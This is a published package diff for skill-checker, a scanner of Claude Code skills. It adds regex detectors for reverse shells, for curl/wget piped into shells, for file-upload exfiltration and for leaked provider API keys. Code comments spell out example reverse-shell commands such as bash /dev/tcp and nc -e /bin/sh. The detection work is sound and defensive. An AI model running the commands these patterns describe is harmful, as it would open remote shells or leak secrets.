skill-checker 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -3
- package/bin/skill-checker.js +0 -0
- package/dist/cli.js +196 -0
- package/dist/cli.js.map +1 -1
- package/dist/index.js +196 -0
- package/dist/index.js.map +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -4,7 +4,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
|
|
|
4
4
|
|
|
5
5
|
## Features
|
|
6
6
|
|
|
7
|
-
- **
|
|
7
|
+
- **55 security rules** across 6 categories: structural validity, content quality, injection detection, code safety, supply chain, and resource abuse
|
|
8
8
|
- **Scoring system**: Grade A–F with 0–100 score
|
|
9
9
|
- **Dual entry**: CLI tool + PreToolUse hook for automatic interception
|
|
10
10
|
- **Configurable policies**: strict / balanced / permissive approval strategies
|
|
@@ -14,7 +14,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
|
|
|
14
14
|
|
|
15
15
|
## Security Standard & Benchmark
|
|
16
16
|
|
|
17
|
-
Skill Checker's
|
|
17
|
+
Skill Checker's 55 rules are aligned with established security frameworks including OWASP Top 10 for LLM Applications (2025), MITRE CWE, and MITRE ATT&CK. The tool ships with a reproducible benchmark dataset of six fixture skills covering all rule categories. This alignment is an internal mapping exercise — Skill Checker does not claim third-party certification or external audit status.
|
|
18
18
|
|
|
19
19
|
See [docs/SECURITY_BENCHMARK.md](docs/SECURITY_BENCHMARK.md) for the full rule mapping matrix, benchmark methodology, scoring model, and known limitations.
|
|
20
20
|
|
|
@@ -98,6 +98,28 @@ The hook is fail-closed — if the scanner is unavailable, JSON parsing fails, o
|
|
|
98
98
|
- `jq` must be installed for JSON parsing
|
|
99
99
|
- `skill-checker` must be globally installed or available via `npx`
|
|
100
100
|
|
|
101
|
+
## Dependency Security Maintenance
|
|
102
|
+
|
|
103
|
+
Latest dependency audit follow-up (2026-03-07):
|
|
104
|
+
|
|
105
|
+
- Production dependency risk remains unaffected (`npm audit --omit=dev`: **0 vulnerabilities**).
|
|
106
|
+
- Current `npm audit` still reports **5 moderate** findings in dev tooling chain (`vitest` → `vite` → `esbuild`).
|
|
107
|
+
- Upgrade to `vitest@4.0.18` is **temporarily deferred** because it requires Node `^20 || ^22 || >=24`, while this project currently supports Node `>=18`.
|
|
108
|
+
- Scope of impact is limited to development/test tooling and does not affect runtime package dependencies.
|
|
109
|
+
- Auditable risk acceptance record: [docs/RISK_ACCEPTANCE_DEVDEPS.md](docs/RISK_ACCEPTANCE_DEVDEPS.md).
|
|
110
|
+
|
|
111
|
+
Verification commands used in this review cycle:
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
npm run lint
|
|
115
|
+
npm test
|
|
116
|
+
npm run build
|
|
117
|
+
npm audit --omit=dev
|
|
118
|
+
npm audit
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
Next review date: **2026-04-04**.
|
|
122
|
+
|
|
101
123
|
## Scoring
|
|
102
124
|
|
|
103
125
|
Base score starts at **100**. Each finding deducts points by severity:
|
|
@@ -153,7 +175,7 @@ Config is resolved in order: CLI `--config` flag → project directory (walks up
|
|
|
153
175
|
| Structural (STRUCT) | 8 | Missing SKILL.md, invalid frontmatter, binary files |
|
|
154
176
|
| Content (CONT) | 7 | Placeholder text, lorem ipsum, promotional content |
|
|
155
177
|
| Injection (INJ) | 9 | Zero-width chars, prompt override, tag injection, encoded payloads |
|
|
156
|
-
| Code Safety (CODE) |
|
|
178
|
+
| Code Safety (CODE) | 15 | eval/exec, shell execution, reverse shell, data exfiltration, API key leakage, rm -rf, obfuscation |
|
|
157
179
|
| Supply Chain (SUPPLY) | 10 | Unknown MCP servers, suspicious domains, malicious hashes, typosquat |
|
|
158
180
|
| Resource Abuse (RES) | 6 | Unrestricted tool access, disable safety checks, ignore project rules |
|
|
159
181
|
|
package/bin/skill-checker.js
CHANGED
|
File without changes
|
package/dist/cli.js
CHANGED
|
@@ -1077,6 +1077,28 @@ var ENV_ACCESS_PATTERNS = [
|
|
|
1077
1077
|
/\bgetenv\s*\(/,
|
|
1078
1078
|
/\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\w*\}?/i
|
|
1079
1079
|
];
|
|
1080
|
+
var REVERSE_SHELL_PATTERNS = [
|
|
1081
|
+
/\/dev\/tcp\/[\w.-]+\/\d+/,
|
|
1082
|
+
// bash -i >& /dev/tcp/host/port 0>&1
|
|
1083
|
+
/\bnc(?:at)?\b[^\n]*\s-(?:e|c)\s+/,
|
|
1084
|
+
// nc -e /bin/sh host port
|
|
1085
|
+
/\bncat\b[^\n]*\s--exec\b/,
|
|
1086
|
+
// ncat --exec /bin/sh host port
|
|
1087
|
+
/\bsocket\.socket\s*\([^)]*\)[\s\S]*\.(?:connect|connect_ex)\s*\([^)]*\)[\s\S]*os\.dup2\s*\([^)]*\)[\s\S]*(?:subprocess\.(?:call|run|Popen)|os\.system)\s*\(/,
|
|
1088
|
+
/\bphp\b[^\n]*\bfsockopen\s*\([^)]*\)[\s\S]*\b(?:exec|shell_exec|system|passthru)\s*\(/,
|
|
1089
|
+
/\bperl\b[^\n]*\bSocket\b[\s\S]*\bconnect\s*\([^)]*\)[\s\S]*\bexec\s*\(/
|
|
1090
|
+
];
|
|
1091
|
+
var REMOTE_PIPELINE_EXEC_PATTERNS = [
|
|
1092
|
+
/\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
|
|
1093
|
+
/\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
|
|
1094
|
+
/\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i,
|
|
1095
|
+
/\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i
|
|
1096
|
+
];
|
|
1097
|
+
var DATA_EXFIL_PATTERNS = [
|
|
1098
|
+
/\bcurl\b[^\n]*(?:-d|--data|--data-binary|--data-raw)\s+@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
|
|
1099
|
+
/\bcurl\b[^\n]*(?:-F|--form)\s+[^\s=]+=@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
|
|
1100
|
+
/\bwget\b[^\n]*--post-file(?:=|\s+)(?:[^\s'"`]+|["'`][^"'`]+["'`])/i
|
|
1101
|
+
];
|
|
1080
1102
|
var DYNAMIC_CODE_PATTERNS = [
|
|
1081
1103
|
/\bcompile\s*\(/,
|
|
1082
1104
|
/\bcodegen\b/i,
|
|
@@ -1084,6 +1106,55 @@ var DYNAMIC_CODE_PATTERNS = [
|
|
|
1084
1106
|
/\brequire\s*\(\s*[^"'`\s]/,
|
|
1085
1107
|
/\b__import__\s*\(/
|
|
1086
1108
|
];
|
|
1109
|
+
var PROVIDER_CREDENTIAL_PATTERNS = [
|
|
1110
|
+
{
|
|
1111
|
+
pattern: /\bsk-ant-api03-[A-Za-z0-9_-]{20,}\b/,
|
|
1112
|
+
title: "Anthropic API key exposure"
|
|
1113
|
+
},
|
|
1114
|
+
{
|
|
1115
|
+
pattern: /\bsk-proj-[A-Za-z0-9_-]{20,}\b/,
|
|
1116
|
+
title: "OpenAI project key exposure"
|
|
1117
|
+
},
|
|
1118
|
+
{
|
|
1119
|
+
pattern: /\bxox[bps]-[A-Za-z0-9-]{20,}\b/,
|
|
1120
|
+
title: "Slack token exposure"
|
|
1121
|
+
},
|
|
1122
|
+
{
|
|
1123
|
+
pattern: /\bAKIA[0-9A-Z]{16}\b/,
|
|
1124
|
+
title: "AWS access key exposure"
|
|
1125
|
+
},
|
|
1126
|
+
{
|
|
1127
|
+
pattern: /\bgh[op]_[A-Za-z0-9]{20,}\b/,
|
|
1128
|
+
title: "GitHub token exposure"
|
|
1129
|
+
},
|
|
1130
|
+
{
|
|
1131
|
+
pattern: /\bgithub_pat_[A-Za-z0-9_]{20,}\b/,
|
|
1132
|
+
title: "GitHub fine-grained token exposure"
|
|
1133
|
+
}
|
|
1134
|
+
];
|
|
1135
|
+
var OPENAI_SK_FALLBACK_PATTERN = /\bsk-[A-Za-z0-9_-]{20,}\b/;
|
|
1136
|
+
var CREDENTIAL_NAME_TOKENS = /* @__PURE__ */ new Set([
|
|
1137
|
+
"api",
|
|
1138
|
+
"key",
|
|
1139
|
+
"token",
|
|
1140
|
+
"secret",
|
|
1141
|
+
"password",
|
|
1142
|
+
"credential"
|
|
1143
|
+
]);
|
|
1144
|
+
var CREDENTIAL_COMPOUND_NAMES = /* @__PURE__ */ new Set([
|
|
1145
|
+
"apikey",
|
|
1146
|
+
"apitoken",
|
|
1147
|
+
"accesskey",
|
|
1148
|
+
"accesstoken",
|
|
1149
|
+
"secretkey",
|
|
1150
|
+
"secrettoken"
|
|
1151
|
+
]);
|
|
1152
|
+
var CREDENTIAL_EQUALS_PATTERN = /\b([A-Za-z0-9_-]+)\b\s*=\s*["'`]?([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1153
|
+
var CREDENTIAL_KEY_VALUE_PATTERN = /^\s*["'`]?([A-Za-z0-9_-]+)["'`]?\s*:\s*["'`]?([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1154
|
+
var AUTHORIZATION_BEARER_PATTERN = /\bAuthorization\b\s*:\s*Bearer\s+([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1155
|
+
var X_API_KEY_PATTERN = /\bx-api-key\b\s*:\s*([A-Za-z0-9._~+/=\-]{20,})/i;
|
|
1156
|
+
var CREDENTIAL_MIN_LENGTH = 20;
|
|
1157
|
+
var CREDENTIAL_MIN_ENTROPY = 4.5;
|
|
1087
1158
|
var PERMISSION_PATTERNS = [
|
|
1088
1159
|
/\bchmod\s+[+0-9]/,
|
|
1089
1160
|
/\bchown\b/,
|
|
@@ -1158,6 +1229,40 @@ var codeSafetyChecks = {
|
|
|
1158
1229
|
source,
|
|
1159
1230
|
codeBlockCtx: cbCtx
|
|
1160
1231
|
});
|
|
1232
|
+
checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {
|
|
1233
|
+
id: "CODE-014",
|
|
1234
|
+
severity: "CRITICAL",
|
|
1235
|
+
title: "Reverse shell pattern",
|
|
1236
|
+
loc,
|
|
1237
|
+
lineNum,
|
|
1238
|
+
source
|
|
1239
|
+
});
|
|
1240
|
+
const code015 = detectCode015(line);
|
|
1241
|
+
if (code015) {
|
|
1242
|
+
results.push({
|
|
1243
|
+
id: "CODE-015",
|
|
1244
|
+
category: "CODE",
|
|
1245
|
+
severity: code015.severity,
|
|
1246
|
+
title: code015.title,
|
|
1247
|
+
message: `At ${loc}: ${line.trim().slice(0, 120)}`,
|
|
1248
|
+
line: lineNum,
|
|
1249
|
+
snippet: line.trim().slice(0, 120),
|
|
1250
|
+
source
|
|
1251
|
+
});
|
|
1252
|
+
}
|
|
1253
|
+
const credentialLeak = detectCredentialLeak(line);
|
|
1254
|
+
if (credentialLeak) {
|
|
1255
|
+
results.push({
|
|
1256
|
+
id: "CODE-013",
|
|
1257
|
+
category: "CODE",
|
|
1258
|
+
severity: credentialLeak.severity,
|
|
1259
|
+
title: credentialLeak.title,
|
|
1260
|
+
message: `At ${loc}: ${line.trim().slice(0, 120)}`,
|
|
1261
|
+
line: lineNum,
|
|
1262
|
+
snippet: line.trim().slice(0, 120),
|
|
1263
|
+
source
|
|
1264
|
+
});
|
|
1265
|
+
}
|
|
1161
1266
|
checkPatterns(results, line, DYNAMIC_CODE_PATTERNS, {
|
|
1162
1267
|
id: "CODE-010",
|
|
1163
1268
|
severity: "HIGH",
|
|
@@ -1213,6 +1318,97 @@ function checkPatterns(results, line, patterns, opts) {
|
|
|
1213
1318
|
}
|
|
1214
1319
|
}
|
|
1215
1320
|
}
|
|
1321
|
+
function detectCode015(line) {
|
|
1322
|
+
if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {
|
|
1323
|
+
return {
|
|
1324
|
+
severity: "CRITICAL",
|
|
1325
|
+
title: "Remote pipeline execution pattern"
|
|
1326
|
+
};
|
|
1327
|
+
}
|
|
1328
|
+
if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {
|
|
1329
|
+
return {
|
|
1330
|
+
severity: "HIGH",
|
|
1331
|
+
title: "Data exfiltration pattern"
|
|
1332
|
+
};
|
|
1333
|
+
}
|
|
1334
|
+
return null;
|
|
1335
|
+
}
|
|
1336
|
+
function detectCredentialLeak(line) {
|
|
1337
|
+
for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {
|
|
1338
|
+
if (provider.pattern.test(line)) {
|
|
1339
|
+
return {
|
|
1340
|
+
severity: "CRITICAL",
|
|
1341
|
+
title: provider.title
|
|
1342
|
+
};
|
|
1343
|
+
}
|
|
1344
|
+
}
|
|
1345
|
+
if (OPENAI_SK_FALLBACK_PATTERN.test(line) && isCredentialAssignmentContext(line)) {
|
|
1346
|
+
return {
|
|
1347
|
+
severity: "CRITICAL",
|
|
1348
|
+
title: "OpenAI-style API key exposure"
|
|
1349
|
+
};
|
|
1350
|
+
}
|
|
1351
|
+
const assignmentMatch = line.match(CREDENTIAL_EQUALS_PATTERN);
|
|
1352
|
+
if (assignmentMatch?.[1] && assignmentMatch[2] && hasCredentialNameToken(assignmentMatch[1]) && isHighEntropyCredential(assignmentMatch[2])) {
|
|
1353
|
+
return {
|
|
1354
|
+
severity: "HIGH",
|
|
1355
|
+
title: "High-entropy credential assignment"
|
|
1356
|
+
};
|
|
1357
|
+
}
|
|
1358
|
+
const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);
|
|
1359
|
+
if (keyValueMatch?.[1] && keyValueMatch[2] && hasCredentialNameToken(keyValueMatch[1]) && isHighEntropyCredential(keyValueMatch[2])) {
|
|
1360
|
+
return {
|
|
1361
|
+
severity: "HIGH",
|
|
1362
|
+
title: "High-entropy credential assignment"
|
|
1363
|
+
};
|
|
1364
|
+
}
|
|
1365
|
+
const bearerMatch = line.match(AUTHORIZATION_BEARER_PATTERN);
|
|
1366
|
+
if (bearerMatch?.[1] && isHighEntropyCredential(bearerMatch[1])) {
|
|
1367
|
+
return {
|
|
1368
|
+
severity: "HIGH",
|
|
1369
|
+
title: "Authorization bearer credential exposure"
|
|
1370
|
+
};
|
|
1371
|
+
}
|
|
1372
|
+
const xApiKeyMatch = line.match(X_API_KEY_PATTERN);
|
|
1373
|
+
if (xApiKeyMatch?.[1] && isHighEntropyCredential(xApiKeyMatch[1])) {
|
|
1374
|
+
return {
|
|
1375
|
+
severity: "HIGH",
|
|
1376
|
+
title: "X-API-Key credential exposure"
|
|
1377
|
+
};
|
|
1378
|
+
}
|
|
1379
|
+
return null;
|
|
1380
|
+
}
|
|
1381
|
+
function isCredentialAssignmentContext(line) {
|
|
1382
|
+
if (/\bAuthorization\b\s*:\s*Bearer\s+sk-/i.test(line)) {
|
|
1383
|
+
return true;
|
|
1384
|
+
}
|
|
1385
|
+
if (/\bx-api-key\b\s*:\s*sk-/i.test(line)) {
|
|
1386
|
+
return true;
|
|
1387
|
+
}
|
|
1388
|
+
const equalsMatch = line.match(CREDENTIAL_EQUALS_PATTERN);
|
|
1389
|
+
if (equalsMatch?.[1] && equalsMatch[2]) {
|
|
1390
|
+
return hasCredentialNameToken(equalsMatch[1]) && equalsMatch[2].startsWith("sk-");
|
|
1391
|
+
}
|
|
1392
|
+
const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);
|
|
1393
|
+
if (keyValueMatch?.[1] && keyValueMatch[2]) {
|
|
1394
|
+
return hasCredentialNameToken(keyValueMatch[1]) && keyValueMatch[2].startsWith("sk-");
|
|
1395
|
+
}
|
|
1396
|
+
return false;
|
|
1397
|
+
}
|
|
1398
|
+
function hasCredentialNameToken(name) {
|
|
1399
|
+
const normalized = name.replace(/([a-z])([A-Z])/g, "$1_$2").replace(/([A-Za-z])([0-9])/g, "$1_$2").replace(/([0-9])([A-Za-z])/g, "$1_$2").toLowerCase();
|
|
1400
|
+
const tokens = normalized.split(/[_-]+/).map((token) => token.trim()).filter(Boolean);
|
|
1401
|
+
if (tokens.some((token) => CREDENTIAL_NAME_TOKENS.has(token))) {
|
|
1402
|
+
return true;
|
|
1403
|
+
}
|
|
1404
|
+
return tokens.length === 1 && CREDENTIAL_COMPOUND_NAMES.has(tokens[0]);
|
|
1405
|
+
}
|
|
1406
|
+
function isHighEntropyCredential(value) {
|
|
1407
|
+
if (value.length < CREDENTIAL_MIN_LENGTH) {
|
|
1408
|
+
return false;
|
|
1409
|
+
}
|
|
1410
|
+
return shannonEntropy(value) > CREDENTIAL_MIN_ENTROPY;
|
|
1411
|
+
}
|
|
1216
1412
|
function getTextSources(skill) {
|
|
1217
1413
|
const sources = [
|
|
1218
1414
|
{ text: skill.body, source: "SKILL.md" }
|